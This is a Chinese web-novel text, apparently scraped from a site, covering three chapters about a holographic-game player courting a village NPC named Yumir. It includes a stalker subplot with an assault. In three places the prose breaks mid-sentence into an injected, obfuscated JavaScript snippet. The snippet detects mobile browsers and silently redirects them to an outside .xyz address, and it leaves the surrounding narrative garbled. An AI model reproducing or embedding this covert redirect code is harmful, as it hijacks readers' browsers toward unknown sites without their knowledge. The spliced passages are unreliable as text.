《能不和玩家结婚吗?》 1. 第 1 章 尤弥尔觉得他的邻居应该是个怪人。 得到这个结论的时候,他正抱着竹篮,蹲在隔壁红色洋楼的篱笆入口,犹豫了好久,到底要不要走近敲响房门。 而他行事如此拖泥带水的原因,正是邻居家的院子。 那块杂草疯长,从来没有打理过的草坪上,一夜之间堆满各式各样五花八门的物品,从熏肉到水晶矿石,从活兔子到小学生课堂作业,甚至还有一座三米高的古老撞钟,不知被谁放在草坪的正中间,堪堪挡住尤弥尔从篱笆走到大门的路径。 尤弥尔很无语。 到底是谁想出来送钟这个主意?爱得也太沉重了吧…… 他对一地乱七八糟习以为常,因为他知道,这些都是礼物。 无论是撞钟还是课堂作业,兔子还是矿石。 全部都是村子的大家送给邻居先生的礼物。 尽管邻居先生身份来历成迷,尽管从他被捡回雾钟村只过了短短两个月,但他身上似乎有一种无法抗拒的魅力,轻而易举就能成为村民心中最有好感的人。于是从某个时刻开始,定期向邻居先生赠送礼物表达喜爱已经成了雾钟村约定俗成的习惯。 不过,尤弥尔觉得邻居是个怪人不是因为送礼物的惯例。 而是他的邻居——大名黄昏薄雾507,性别男,大概是人类,独居,年龄未知,职业未知,自称是冒险家。 ——实在是太特立独行了! 就像是现在,撞钟在他院子里咣咣咣响了半天,方圆几栋洋楼的居民都伸着脑袋张望,只有当事人,这位礼物的接收者,好像一点都没听见似的,大门紧闭,默默伫立,不听不听就是不听。 这么大声都没听见,他不会是死了吧。 尤弥尔顿时变得紧张,不再犹豫,绕过沉钟和满地乱窜的兔子,敲门:“邻居先生,邻居先生,我是尤弥尔。” 没有回应。 尤弥尔继续敲门。 咚咚,咚咚。他加大音量:“您没事吧?” 这回门里终于传来气若游丝的声音:“我很……健康……啊……” 对方沉默半秒,突然改口:“哦不对,我好像快死了。” “尤弥尔,尤弥尔,”门内轻声低语,“快进来吧。” 紧闭的房门敞开一条小缝,房内没有灯光,入目所及之处尽是漆黑,尤弥尔光听见声音没看见人,他在门口试探性地伸出脑袋,然后与地板的一个长发覆面脸色煞白双目突出布满血丝像是死不瞑目的爬行奇行种对视。 尤弥尔:“……” 看似十分冷静,实际已经走了一会。 他呆呆望着那只爬行生物,名为黄昏薄雾507的屋主缓慢爬回屋内,软软的,像没有骨头似的歪在椅子上,向他招手。 “快进来吧尤弥尔,不要太拘谨,”黄昏薄雾有气无力地解释自己为什么会是现在这幅模样,“我只是忘记吃东西,饱食度过低血条一直在掉,差点就归零了。” 死亡在他口中轻飘飘的,没引起哪怕半点重视,黄昏薄雾扯出一个虚弱的浅笑:“你,来得很及时哦。” 很及时的尤弥尔回过神,抱着竹篮颤颤巍巍走进门。 他的竹篮里装的是两块新鲜出炉的土豆饼,现在恰好当做黄昏薄雾507的饭,虽然尤弥尔不明白什么叫饱食度什么叫血条,但忘记吃东西还是听得懂的。 邻居先生总是这样,明明只是没来得及吃饭,却非要说听不懂的话,做无法理解的事,迂回着表达“我要吃饭”这种简简单单的事实。 在黄昏薄雾507进食的时候,尤弥尔终于有空打量邻居家的内部结构。 这还是他第一次被邀请进入对方的家,事实上开不开灯都没有区别。黄昏薄雾507的家装修得一言难尽,灯光昏暗,窗帘紧闭,除开一张床,一张桌子和两把椅子之外,就只剩下墙根并排五六个硕大的木箱,整个空间内没有任何装饰,显得又空又凌乱。 两个人坐在房间内唯二的两把椅子上,从头到尾没有说话。随着进食过程结束,尤弥尔的心情逐渐平复,不再将黄昏薄雾当成吃人的恶鬼。 黄昏薄雾507的脸色肉眼可见变得红润,他单手撑住脑袋,将最后一口土豆饼推入口中:“你也是来给我上贡的吗?” “上贡?” “啊,就是门口那些。” “应该不是……” 尤弥尔迟疑,用上供形容礼物充满高高在上的疏离感,而他带来的是两个小小的土豆饼,从零食店买的,既不算上供也不像其他村民那样是定期表达好感的礼物。 “那尤弥尔为什么要给我带吃的?” 黄昏薄雾说话有一种奇妙的抑扬顿挫,像是清晨吹过松间雾霭的风。尤弥尔略微想了想:“空手到您家做客不太好吧,对了,黄昏先生,有件事……” 事情是这样的。 雾钟村是一个远离都市的沿海小村庄,南面靠海,三面群山环绕,村民种地打猎自给自足,贸易全靠来往的商队。 昨天刚好是贸易日,是商队固定抵达雾钟村的日子,只是和之前不一样,除了每次必备的生活必需品外,商队还带来一个坏消息。 “据说附近山上有蓝纹王蛇现身,已经有受害者被吃掉了。” 尤弥尔也是第一次听说这种狂暴的猛兽,他轻声传达从商队那听来的消息,蓝纹王蛇食人,体型硕大,性情暴躁,还有布满全身坚硬的鳞甲,对人类来说具有很高的威胁性。 以黄昏先生要么连续几天不出门要么连续几天不在家——这般神出鬼没的性格说不定根本没有听说过蓝纹王蛇出没的消息,要是转头扎进深山与巨蛇对上,死得不明不白怎么办。 “所以我来是想告诉你,虽然你可能已经听说了……总之近期最好不要出门,等到治安官或者城里的骑士大人们解决掉蓝纹王蛇你再进山吧。” 像他们这种普通人是绝对没有办法从蓝纹王蛇口中逃生的。 尤弥尔认认真真叮嘱,转头却发现黄昏根本没在意他说什么,眼睛一眨不眨盯着他。 轻轻地,带着绵长的尾音:“尤弥尔,真是关心我呢。” 他的邻居拥有一副好相貌,约莫二十岁出头的年纪,柔软的半长黑卷发在发尾渐变成蓝色,他的容貌俊美非凡,肤色是冷调的瓷白,鼻梁高耸挺拔,一颗侧翼的黑痣衬得五官愈发深邃立体,圆润的杏眼在尾部微微上挑。 然而他的瞳孔却没有任何高光,像是死气沉沉的黑水寒潭,只看一眼都感觉灵魂要被吸进去。 尤弥尔下意识回避他的目光,把转过去的头默默地又转了回来。 他尽量不与黄昏薄雾对视,却没发现对方搬起椅子挪到他身边。 就在他发呆的瞬间。 “呼——” 那点看见黄昏薄雾眼睛的不舒服感立刻消失,尤弥尔蹦到半空,单手捂住耳后和脖颈汗毛竖起,双瞳写满难以置信。 不是,这人突然朝他耳朵吹气是为了啥啊! “尤弥尔,脸红了哦。”黄昏薄雾大笑,“看来你的敏感点是耳朵。” “我只是随便吓唬吓唬你,没想到你的反应这么大。” 尤弥尔:“……” 破案了,原来是恶作剧。 所以说。 尤弥尔再次强调,他的感觉没错,他的邻居黄昏薄雾是个怪人。 收到礼物不理不睬堆满草地很奇怪。 名字很奇怪,说着听不懂的话很奇怪,光秃秃的装修风格也很奇怪。 长相是奇怪的好看,行为举止更加奇怪。 此刻黄昏薄雾也不知道是自言自语还是在和尤弥尔说话:“听说蓝纹王蛇的祖先生活在大海,它的血液也是像大海一样的蓝色,很漂亮。” 尤弥尔又气又震惊,眼神不再躲闪,转而愿意放在黄昏薄雾身上,只是语气不免硬梆梆的。 “蓝纹王蛇的血有毒的!再漂亮也不能放任自己面临危险,”尤弥尔说,“黄昏先生,请你近期都不要上山。” 没有回应,尤弥尔:“黄昏先生你……” ……是不是在假装听不见他的话啊? 过了许久。 大概是享受够尤弥尔的关注,黄昏薄雾嘴角微微上翘,语气还微微带上点遗憾:“好吧,如果你希望的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309992|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。” “黄昏先生能有分寸的话那就再好不过,我想说的话就是这些,我先走了。” 直到现在尤弥尔都捂着耳朵,隐约可见指缝间灼热的粉红。他收好竹篮,僵硬起身,在黄昏薄雾的注视下走到门口,拉开门,身体走出去。 黄昏薄雾没有阻拦,他仍旧坐在椅子上,余光留意门口。 果然。 没过一会尤弥尔又绕回来,直视黄昏薄雾漩涡般的眼睛。邻居虽然偶尔举止怪异,但本质是一个脆弱的、善良的普通人类,和别人并没有太大区别。 他不希望黄昏先生被蓝纹王蛇咬死。 碧绿的双瞳分外认真:“不要上山,也不要忘记吃饭,我希望黄昏先生能好好照顾自己。” “还有,门外的东西是大家的心意,才不是什么上供。” 一口气说了长串,他火速别过头,拎着竹篮头也不回飞速逃离黄昏薄雾的院子。 直到洋楼大门彻底合上,再也看不见他的背影。 。 屋内。 黄昏薄雾慢吞吞地站起来,闭眼凝神,回想刚才吹气时尤弥尔的反应。 脸红通通的,耳朵红通通的,眼睛蕴含雾汽,瞪向他的眼睛饱含愠怒。 半晌,黄昏薄雾自己的脸也慢慢变得粉红,嘴角诡异地提起,止不住地念念有词。 “尤弥尔尤弥尔尤弥尔尤弥尔……”一连串破碎的呢喃从唇缝中流出,他捧住脸,面容因激动而酡红,“可爱的尤弥尔呵呵呵……” 真可爱啊。 活着的、会脸红、会关心他的尤弥尔,真可爱啊。 但这么可爱的尤弥尔,为什么对他的好感度不高呢? 洋楼总共四层,地上三层,地下一层,薄雾黄昏走向地下室,同时唤出游戏菜单。 【 姓名:薄雾黄昏507 等级:10(满级30) 当前职业:弓箭手 力量:2(比鹅略强) 体质:0(普通人程度) 敏捷:6(卓越的运动员) 智慧:-2(真是个大聪明) 魅力:25(美神在世) 幸运:0(抛硬币有50%的概率正面落地) (每项满值30) 】 没错,黄昏薄雾507是游戏玩家。 而尤弥尔,则是全息游戏《晨曦之国》新手村的一个普通NPC。 就是不知道为什么,尤弥尔的好感度始终久攻不下,明明雾钟村其他NPC的好感度早就到达满值100,只有他,只有尤弥尔的好感度,堪堪停留在30。 好感度30,刚过友好,不够亲密,充其量算是相熟的邻居而已。 “尤弥尔会喜欢什么呢?”黄昏薄雾自言自语,他推开地下室的门。 一条被开膛破肚的雄性巨蛇显现全貌。 黄昏薄雾答应过尤弥尔近期不会骚扰蓝纹王蛇,他也没有打算食言,因为尤弥尔口中出现在群山、极其危险的蓝纹王蛇其中之一已经死得透透的,皮骨内脏满地都是,蔚蓝半透明的血液也早早被收集起来,按照游戏给出的说明,倒入坩埚熔炼后变成珍贵的染料。 熔炼步骤繁琐,害得他忙活了大半天,以至于吃饭补充饱食度都抛之脑后,差一点点就饿死了。 但现在熔炼阶段结束,留下美丽的海蓝色燃料后蓝纹王蛇彻底失去存在的意义,黄昏薄雾便开始清理地下室。 “丢掉内脏,放干血液,安息吧~”他哼着自编的小曲,将骨头和蛇皮搬运至一楼,那六个并排放置的木箱是属于玩家的储物箱。 同时,黄昏薄雾脑中计划将一半染料用于他的骑士盔甲,把盔甲染成漂亮的蓝色,另外一半则用来制作布料,裁剪衣物,送给他可爱的尤弥尔。 相信大海的蓝色一定能将尤弥尔的金发衬托得更加精致灼目。 至于他这个10级的弓箭手是怎么越级打败12级的蓝纹王蛇的? 那不重要,黄昏薄雾并不在意。 毕竟。 他是拥有无限可能的游戏玩家嘛。 2. 第 2 章 日照当空,蔚蓝天空一望无际,尤弥尔顶着热浪一路以最快的速度跑回自己家。 然后砰地关上门,走向后院。 后院搭起竹架,种满适合海滨湿地的夏季作物,绿油油地铺满眼帘,与远处的玻璃温室和更远处的群山融为一体,形成足以安抚人心的青。 只有看见这满目由自己亲手种下的瓜果蔬菜,尤弥尔才觉得自己的心渐渐平静下来。 事实就是。 他有点害怕黄昏薄雾。 接过土豆饼的触碰是冰凉的,吐在耳朵的气息是冰凉的,整个人像是刚刚从冰块走出,带着不似人的严寒,望向他的眼神,就像蛇瞳锁定猎物。 好可怕,仿佛下一秒就要把他拆吃入腹。 尤弥尔抱着一颗南瓜苦恼,眉头皱成两条毛毛虫涂鸦。他觉得不对,黄昏先生明明是一个大家都爱戴的好人,他不应该觉得黄昏薄雾可怕,更不应该一见到黄昏薄雾就像老鼠撞见猫,手脚僵硬不说,脑袋也晕晕乎乎的。 那么多人喜欢、礼物铺了满地的黄昏先生怎么可能是变态呢? 总之,黄昏先生绝对没有问题。 有问题的是自己才对。 于是尤弥尔开始回想自己刚刚同手同脚的僵硬、强硬打断对方的语气……死去的回忆开始攻击他,尤弥尔忍不住捂脸。 就、就算出了这么多小差错,他的行为举止也算得上得体吧! ……要是不得体的话,要不要下次见面跟黄昏先生道歉呢? 尤弥尔不想在黄昏薄雾心中留下一个不礼貌的坏印象,但一想到那双渗出寒意的幽暗瞳孔,压在板凳上的屁股就开始生根。 不想动,不想动。 逃避可耻但有用。 就在他纠结的时候,头顶传来插销拨动的声音,尤弥尔六岁的妹妹从护栏上方探出半个脑袋,单手揉着眼睛:“哥哥,你回来啦。” “对不起啊,”尤弥尔充满歉意,“我吵醒你午睡了,加嘉莉。” 加嘉莉不在意地摇摇头:“没关系哥哥,《光辉晨曦教义启蒙》说每日午睡时间不应超过一个小时,我已经睡够啦。” 她所说的《光辉晨曦教义启蒙》是全大陆通用的初级教育必修读本,是教廷承蒙晨曦女神的光辉编纂出的少儿读物。尽管尤弥尔从没见过女神和所谓的神迹,但女神事记广为传播,信徒遍及大地,教廷更是官方指定教育机构,教义主导为公平、正义和分享,深得民众信赖。 “哥哥,你见到黄昏哥哥了吗?” 雾钟村上到八十老头下到六岁女童无一不被黄昏薄雾的魅力俘获,就连加嘉莉也不例外。她已经完全清醒,两颗黑黢黢的眼珠凝神,在尤弥尔身上和周围流连停驻。 “装土豆饼的竹篮空了,还有哥哥鼻尖的汗珠,”没等尤弥尔回答,加嘉莉就猜出答案,“你见到黄昏哥哥啦。” 她踮起脚,努力伸长脖颈,眼中饱含期待:“那哥哥有没有看到我送给黄昏哥哥的礼物?” 尤弥尔心中突然有了不好的预感。 “……你送了什么,加嘉莉?” 女童欢快的声音从头顶上方传来:“我把我的暑假作业送给黄昏哥哥了!” 尤弥尔:“……” 原来隔壁院子的暑假作业习题册是你放的啊! 他的妹妹,加嘉莉,六岁,秋天开学就是初级教育二年级的小学生,在七月的今天,把她人生的第一份暑假作业,作为交流感情的礼物,送给了邻居家的大哥哥。 还是一字未写,干干净净的暑假作业习题册。 晨曦女神的教义是公平和分享,将东西分给需要的人,加嘉莉有理有据:“黄昏哥哥有时候没有常识,有点笨笨的。按照女神的教导,我把暑假作业分享给黄昏哥哥。等到黄昏哥哥写完,他收获了知识变得聪明,我收获了写完的作业本不会被老师骂,这很公平啊哥哥。” 诡辩,完全的诡辩,偏偏加嘉莉很自信。 尤弥尔好想晃晃妹妹的脑袋,看看里面装得到底是水还是什么不可名状的坑。 “其实你就是不想写作业想找人替你写而已吧。” 加嘉莉理直气壮:“我在学校已经学会的东西,为什么还要再写作业学一遍。” 沉默,诡异的沉默。 尤弥尔甚至都要被说服了,暑假作业对他聪明的妹妹来说没有任何作用,只是学校布置的机械性重复劳动。 但他很快反应过来,带着点无奈的鼻音:“那你也不能以礼物的名义送给黄昏先生啊,这不是骗人嘛加嘉莉,我可没有教过你骗人哦。” “再说了,黄昏先生和你的笔迹不同,就算写完老师也能看出来不对啊。你忘记上次我被你的老师叫到学校去是为了什么吗?” 是因为加嘉莉上课睡觉让同桌小朋友帮她记笔记。 还美其名曰是帮同桌巩固知识。 加嘉莉还想再说什么,尤弥尔太了解他的妹妹,不加制止她就会说“夏天最珍贵的回忆就是暑假作业”,”最珍贵的礼物就要配最美丽的男人”诸如此类离谱的话,不知道从哪学来的。 他直接打断,带着凛然:“自己的事情自己做,我现在就去帮你把作业册要回来。” 几个小时后。 尤弥尔蹲在厨房,抱着他的南瓜,每次想到那双漆黑宛若深渊的眼睛,和苍白冰冷的皮肤,他的凛然和正义就削弱一分,双手下意识地放慢动作。 “哥哥,你什么时候出门?”加嘉莉趴在楼梯栏杆催促,“太阳都快落山了。” 不想出门啊—— “马上啦马上啦。” 尤弥尔应声着,然后蹲在灶台前一动不动,像只乌龟。 他绝对不是有意想拖延时间的,但这次和上次不一样啊!上次他是好心提醒,这次是他对之前无礼连带着加嘉莉那份的道歉,怎么想都不能随随便便用两块土豆饼打发吧。 尤弥尔慢吞吞地往灶台添了份柴,被炭火包围的烤锅烧得通红,噗嗤噗嗤冒出甜美的热气。 锅里的南瓜是自己种的,面皮是用自己种出的小麦研磨的。 简单来说,尤弥尔是个农夫。 和雾钟村的许多人类似,拥有一小片菜园子,普普通通,没有什么特别之处。如果非要说特别的话,也许就是他种出的蔬菜格外甘甜。 他的家庭成员很少,除了妹妹加嘉莉以外,还有一个年长他的姐姐。姐姐在村子中心经营一家酒馆,于是尤弥尔种出的植物有了该去的地方。他会酿酒,饭也做得很好,在植物不需要照料的时间段里,他会去姐姐的酒馆客串厨师兼职服务生。 “还没好吗,哥哥?” “快啦。” 尤弥尔的回答带着长长的尾音,灶台的火熄灭,他从中取出自己亲手烤制的南瓜派,留下一个作为家人的晚餐,剩下的放进篮子,再用缎带绑好。 现在再磨蹭也没有用了,尤弥尔接受现实,拍拍加嘉莉的头:“那我出门了,很快就回来。” “嗯!去吧哥哥,帮我向黄昏哥哥问声好。” 尤弥尔今天第二次离开家,夕阳和晚霞一并落在脸颊,他走出自己的院门,再拐个弯,黄昏薄雾的家就在他左前方。 上午乱糟糟铺满地的礼物都消失不见,露出茂盛没怎么打理过的草皮,大概是终于被良心发现的黄昏薄雾收起来了。 他们居住的街道在雾钟村外围,来往行人很少,石板行道安静空旷,这也使得尤弥尔轻而易举便发现藏在黄昏薄雾院门口的身影。 那是个显得壮硕的背影,尤弥尔一眼看出对方是雾钟村的村民,是村长的侄子里夫。尤弥尔和他不熟,只知道这人家庭富足,就是脾气不太好,偶尔会听到他动手打人的传闻。 尽管生活没有交集,但都是同一个村子的,尤弥尔没有多想,伸手打招呼:“呀,里夫,晚上好。” 没有回答。 “……里夫?” 直到里夫回头的那刻,尤弥尔才发现里夫愤怒不甘的眼神,他盯着不远处黄昏薄雾家的房门,而在听见声音回头后,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309993|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份不甘愤怒瞬间转化成怨毒和嫉妒。 “尤弥尔……” 他突然冲上前狠狠抓住尤弥尔,十根手指嵌进肩膀:“我都看见了!” “?”尤弥尔满头雾水,“你都看见什么了?” 他盯着尤弥尔冷笑:“我看见你白天进了黄昏家的房门,你们到底什么关系?” 南瓜派被打翻在地,尤弥尔两手用力,试图掰开里夫的手,也不知道这家伙为什么突然变得这么大力气,抓得骨头生疼。 他的声音也变得冷冷淡淡,不复打招呼时候的亲切友好:“还能是什么关系,邻居关系。” “我不信。”里夫斩钉截铁地说。 “你在他家里呆了一个多小时,我藏在附近的灌木丛里看得一清二楚,呆了这么久,你怎么好意思说你们只是邻居!” 里夫陷入自己的逻辑深深不可自拔:“我可是花费大价钱从游商那买来撞钟送给黄昏薄雾,最后都没能进他家的门——你凭什么!” 尤弥尔:“……” 槽点太多了他都不知道是先吐槽里夫的跟踪狂行为,还是先吐槽那扰民的撞钟原来是你送的啊! 尤弥尔最后一次强调:“我真的和黄昏先生没有任何关系啦,你放开我!” “那你现在准备去哪?!” 当然是去邻居家,但这能和你说吗? 喜欢黄昏薄雾的人很多,表达喜爱的方式也有很多种,但喜欢到如此魔怔的,里夫是尤弥尔见到的头一个,他像只炮仗易燃易爆炸,显然不能再受刺激。 尤弥尔只好紧紧闭住嘴,沉默应对。上半身被束缚无法动弹,但他还有脚啊。 农活劳作赋予他比普通人更大的力量,即使看上去纤细,腰腹和小腿薄薄的肌肉依然能释放强大的爆发力。就在里夫收紧力气想要掐住尤弥尔的喉咙时,他小腿用力,狠狠踹在里夫两腿之间。 “嗷——” 箍住尤弥尔的手也不自觉松开。 里夫捂住裆部受伤部位,疼得眼泪汪汪:“贱人,贱人!你要去哪?” 他依然不忘自己的初衷,两只深深凹陷的眼窝投向尤弥尔:“你要去找黄昏薄雾对不对?我就知道,我就知道!白、白天、一个多小时,足够你和他做得翻天覆地!” 尤弥尔现在觉得里夫疯了。 疯子是不讲道理的,再多余的解释都是徒劳,他弯腰捡起落在一旁的篮子,转身朝黄昏薄雾的院落走去。 却在转身的那刻被暴起的里夫从背后勒住喉咙。 里夫斩钉截铁道:“你这个婊子肯定和他做过了!” 做你个大头鬼! 脸颊涨红到发紫,尤弥尔脑中只剩空白,嘴唇一张一合,像垂死的金鱼,电光火石之间他抄起手中的篮子,丝毫不顾里面还有花费他好几个小时烤出的南瓜派,用力向后一砸—— “尤弥尔。” 吱呀一声,院落中心红色洋楼的门豁然洞开。 黄昏薄雾就坐在门口,好整以暇,不知在那观看多久,用仿佛欣赏一段戏剧的目光看向尤弥尔:“我好饿啊,尤弥尔。” 言下之意是不要砸坏篮子里的东西。 他又转头看向里夫,身后不知什么光芒在闪烁,黄昏薄雾优雅平静地威胁:“渺小的虫豸,给你十秒钟滚出我的视线,否则我会拧断你的脖子。” 紧接着他转向尤弥尔,立刻换上微笑:“快过来吧,尤弥尔,我可是等待已久。” 早在黄昏薄雾家门敞开的那刻,里夫就松开了手。此时此刻黄昏薄雾哪比得上发疯的里夫可怕,尤弥尔头也不回,火速拎着篮子小跑到黄昏薄雾身后,远离想要威胁他生命的疯子。 卷进别人爱情漩涡的自己,还有被疯子喜欢上的被逼到放狠话的黄昏薄雾先生,今天都度过一个十足倒霉的傍晚。 尤弥尔躲在黄昏薄雾身后悄悄地叹了口气。 我们都好可怜啊。 好可怜啊。 【尤弥尔 对玩家黄昏薄雾507的好感度 +1】 3. 第 3 章 “他走了。” 简陋的洋房内部没有灯光,尤弥尔趴在窗台,透过窗外的微弱的光,看见里夫的身影在院外来回不停走动,最后朝洋楼留恋一眼,失魂落魄地离开。 “你说里夫还会回来吗?”平白无故遭受袭击的感觉并不好受,尤弥尔的声音有些疲惫。 他下意识向身边唯一一个活物寻求心灵慰藉,扭头望去,美丽冲击到失语的脸在眼前骤然放大。 冰冷的呼吸却让他瞬间清醒。 黄昏薄雾漆黑的瞳孔在震动,心情很好的样子。 “好感度涨了一点,耶!”从30跳到31,虽然很少但却是近期零的突破,他的嘴角上翘,喜悦中参杂丝丝抱怨,“好感太难刷了呀尤弥尔,我要到什么时候才能把你的好感度刷到80,进入你的个人感情线呢?” “?” 叽里咕噜说什么呢。 尤弥尔茫然地眨眨眼,仅大概猜出黄昏薄雾要做的事情和自己有关。 他斟酌道:“那你,加油?” 黄昏薄雾噗嗤笑出声:“我当然会加油,毕竟尤弥尔和那个叫里夫的废物难度完全不一样,他的魅惑抗性太低,随便说两句话就能刷满好感度,心甘情愿当我的狗。” “不过,有的人,就算当狗也意外地不好用。” 他的声音突然低沉,混合扑在脸上的气息,令尤弥尔好不容易压下去的,对黄昏薄雾的恐惧开始缓缓升腾。 尤弥尔别过脸:“……什么?” “没什么啦。” 黄昏薄雾不甚在意,微笑着眯了眯眼睛,直起身体,从尤弥尔身前咫尺离开,好像刚才的冰冷空气不复存在。 “我可是受害者啊,我告诉你哦,每个人的好感度攻略难度不一样,刷满之后的行为表现也完全不一样。”他躬身一个邀请的动作,邀请尤弥尔走进他潦草空旷的客厅,他絮絮叨叨嘟哝些完全无法理解的话,“除了爱情线只能选一条之外,其他满好感度的表现有的是友情,有的是亲情,有的是崇拜,有的是占有欲。” “还有的是纯粹的恶意。” 就跟开盲盒差不多,抽到后者就是最倒霉的下下签。 黄昏薄雾走在前方,说到里夫送的撞钟,他的语气平平,就像在谈论天气:“里夫真是个废物,恶意这么明显,上贡的礼物也是完全没用的那种,既不是制作材料也不能当成装备,没办法,只好卖给商店。” “哦。”尤弥尔木着脸听。 听不懂,一个标点符号都听不懂,全当没听见好了。 尽管尤弥尔小心谨慎地与黄昏薄雾保持至少两个身位的距离,但从门口到客厅的道路没有几步,两人很快坐在熟悉的椅子上。 “我觉得……”尤弥尔开口。 他将目光落在怀中竹篮,慢慢补完后半句话:“……我们不应该放里夫离开的。” 里夫还是太危险了。 他的精神状态看上去岌岌可危,脾气火爆充满攻击性,不仅是个跟踪狂还有被害妄想症。 ……怎么会有人因为他走进黄昏薄雾家门就污蔑他们有那种关系啊! 和黄昏先生比起来尤弥尔觉得自己更像是被波及的无辜路人,里夫说不定根本不会意识到自己的行为异常,他随时都有可能就地发疯,放他离开就是在黄昏薄雾身上埋下一枚定时炸弹。 就算尤弥尔有点害怕黄昏薄雾,但那说不定仅仅是因为他和黄昏先生天生气场不合,是生理上的不适。比起潜在的杀人犯,他肯定会选择保护黄昏先生的, 而且只有一点点、一点点害怕而已! 尤弥尔目光霎时变得坚定,不再躲闪,看向黄昏薄雾:“我们应该找到里夫。” “然后。” “——然后?”黄昏薄雾的眼睛半弯,黏黏腻腻的,“我就知道尤弥尔肯定会理解我的,看来我们想到一块去了。” 简直心有灵犀,天生一对,太美妙了。黄昏薄雾心情愉悦:“那我们一起说出答案吧。” “然后。” “然后。” “送他去见治安官。” “杀……”黄昏薄雾愣住,“嗯嗯嗯?怎么是送警察??” 那不然呢? 遇到问题找治安官不是常识吗? 尤弥尔很困惑:“不找治安官的话我们该怎么做?” “哈、哈!当然是找治安官!”谁叫尤弥尔更喜欢守序善良的那方呢,黄昏薄雾可不想好不容易涨上去的好感度又掉下来。 他的语气铿锵有力,连带黯淡的瞳孔都仿佛染上正义的光:“我这么柔弱,肯定没办法直接杀死里夫,我绝对没想杀他的。” 啊? ……柔弱吗? 尤弥尔抬起头,看向不知为何突然从座位跳起的黄昏薄雾,他不知道为什么黄昏薄雾不在房间内点灯,黑暗的环境总会令人不安。 此刻尤弥尔只能看见黄昏薄雾在黑暗中的背影轮廓。 他认识黄昏薄雾已经有段时间,印象里每次见面黄昏薄雾都是同样的打扮,内搭黑色高领无袖紧身衣,外面再松松垮垮套件罩衫,无拘无束,自由不羁。 也许是个子高、也许是头身比例极好,黑暗中他的轮廓此时竟有一分纤细的味道。 尤弥尔不知道诞生于游戏的肌肉成长后能爆发出多么恐怖的力量,他随意掠过几眼就收回目光,嗯了一声,呆坐不动,乖巧又听话。 好吧,你说柔弱就柔弱。 黄昏薄雾:“话说尤弥尔在碰到里夫之前就是来找我的吧,有什么事吗?” “啊,那个,”尤弥尔并未察觉到转移话题的刻意,他老老实实把加嘉莉妄图以礼物的名义让黄昏薄雾代写作业告诉苦主本人,再嗯嗯两声,扭捏着表达他对自己白天行为举止无礼的歉意,说完后再把竹篮往黄昏薄雾怀里一塞。 “对不起黄昏先生,这是我亲手做的南瓜派,送给你的话,能不能原谅我啊?” 黄昏薄雾接过篮子:“如果我说不呢?” “诶……”尤弥尔总是藏不好自己的表情,失落又不好意思,“那我就会一直一直请你吃饭,直到你原谅我为止,” 他的眼睛湿润而富有神采,清澈倒影轮廓:“这样行吗,黄昏先生?” 尤弥尔期待着回答。 在认真听完他的话后,黄昏薄雾却足足笑了两分钟:“不逗你了不逗你了,真是的,尤弥尔,我怎么可能会不原谅你呢。” 明明是他有错在先,黄昏先生却轻而易举地选择原谅,他果然是个大好人。 反观他自己才是最坏的那个,现在尤弥尔开始后悔自己觉得邻居是个奇怪的人,这样太不礼貌了,每个人都有自己独特的地方,黄昏薄雾只是比独特更独特了点,根本不能叫做怪人。 “谢谢你,黄昏先生。”尤弥尔抿抿唇,他还有另外的请求,小声说,“还有就是,我妹妹的暑假作业能不能还给我……” 黄昏薄雾没理由说不,反正小学生暑假作业到他这里只剩下卖商店这凄惨的结局,卖价还特别低,连颗苹果都比不上,不如还给尤弥尔做个顺水人情。 他开始在六个储物箱翻找。 储物箱是游戏出品,容量接近无限,放六个是为了分类,一个箱子放装备,一个箱子放材料,一个箱子放杂物等等,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309994|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也仅此而已了。 黄昏薄雾的耐心只够他把作业本丢进标签是“垃圾”的储物箱,具体位置却不知道是哪,他蹲在半开的箱子前观察许久也没找到,生气地把半个身体都埋进去胡乱一通翻找。 纸巾、银杯、坏掉的弩箭……垃圾箱内的东西被他扯出来,随手丢到身后,叮叮当当作响。 怎么突然进入到收纳环节? 尤弥尔茫然起身,跟在后面捡,把黄昏薄雾丢出来的小玩意按照重量和尺寸放在桌上。 他弯腰捞起一本小册子,封皮“熔金城近期注意事项”几个大字,下方一行小一号的字体,“为保护生命安全,请各位居民遵守。” 以及更小的字体,“晨曦骑士团驻熔金城分部出品”。 “这是什么?”尤弥尔好奇地问。 “别人送的没有用的玩意。”除非是能触发任务的道具,否则书籍在黄昏薄雾眼中一律视作垃圾处理,他可有可无地回答,“你想看就看吧。” 熔金城是距离雾钟村最近的大都市,和他们这种连牧师和传教士都由村长兼职的偏远小村庄不同,熔金城内有教堂、教会和无处不在的女神神像,以及教会下属的,以保卫人类为己任的骑士团。 